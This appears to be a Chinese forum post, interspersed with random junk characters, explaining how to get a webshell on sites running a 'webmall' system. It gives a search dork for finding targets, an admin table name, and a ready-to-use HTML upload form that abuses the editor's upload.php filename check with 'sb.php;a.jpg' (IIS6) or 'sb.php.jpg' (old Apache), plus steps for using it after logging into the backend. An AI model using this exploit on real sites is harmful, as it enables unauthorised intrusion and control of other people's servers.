关键字:inurl:webmall/detail.php?id% ]# }. C9 q& r! s; {5 v
% O8 Q* i& ^. I$ x: s A
数据表:pwn_base_admin
. F) W0 l/ ^! @, f# [0 i3 D , T# R1 {4 `& ?% X
关于拿shell* j2 f6 @" r9 s( c) k7 g
4 `% `1 p- w& r
首先登录后台admin.php
9 ~2 p9 S6 q9 @- ~ % W+ g0 j2 G3 x& b* ~
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。
, E' S# j2 C( Y换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg- t, v6 p: D ?
然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的4 P" Q6 y/ ~4 P8 U, p$ z' j
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> ) v3 I& _* H/ P$ P6 o9 V3 w3 }4 @
<input type="text" name="fileName" value="sb.php;a.jpg" />
$ R3 p+ L+ H6 e$ d* S, Z9 C5 @) R<input type="hidden" name="attachPath" value="news/pics/" />
! F2 ?) Q0 S. v% l& L* u, p# v8 Y# y<input type="file" name="fileData" size="14" /></td> 9 ^) l# K. N" q* H
<input type="submit" name="button" value="确定" /> 9 \8 q9 t0 x% c- m- |# j2 c
</form>
2 v* i) j! `4 X6 C4 a
# V- _3 ?& d5 B首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。
4 [ ` y# {2 e. p% E) Y5 x; H
6 Y4 ?1 x5 k" D4 o2 J- w. U1 } |